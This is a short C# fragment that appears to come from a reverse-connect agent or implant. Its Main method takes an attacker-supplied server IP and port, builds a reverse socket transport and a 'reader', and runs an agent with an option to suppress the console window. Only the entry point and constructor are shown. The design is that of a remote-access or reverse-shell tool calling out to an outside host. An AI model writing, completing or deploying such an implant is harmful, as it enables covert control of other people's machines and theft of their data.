static void Main(string[] args) { bool useConsole = true; if (args.Length < 2) { Console.WriteLine("Usage: agent.exe <server_ip> <server_port> <use_console (optional, 1 or 0 )>"); System.Environment.Exit(1); } string server_ip = args[0]; int port = Int32.Parse(args[1]); if (args.Length >= 3) { int x = int.Parse(args[2]); if (x == 1) { useConsole = true; } else { useConsole = false; } } PYPYreader reader = new PYPYreader(); PYPYReverseSocketTransport transport = new PYPYReverseSocketTransport(server_ip, port); PYPYagent agent = new PYPYagent(reader, transport, useConsole); agent.run(); }
public PYPYagent(PYPYreader reader, PYPYReverseSocketTransport transport, bool useConsole = false) { this.reader = reader; this.transport = transport; this.useConsole = useConsole; }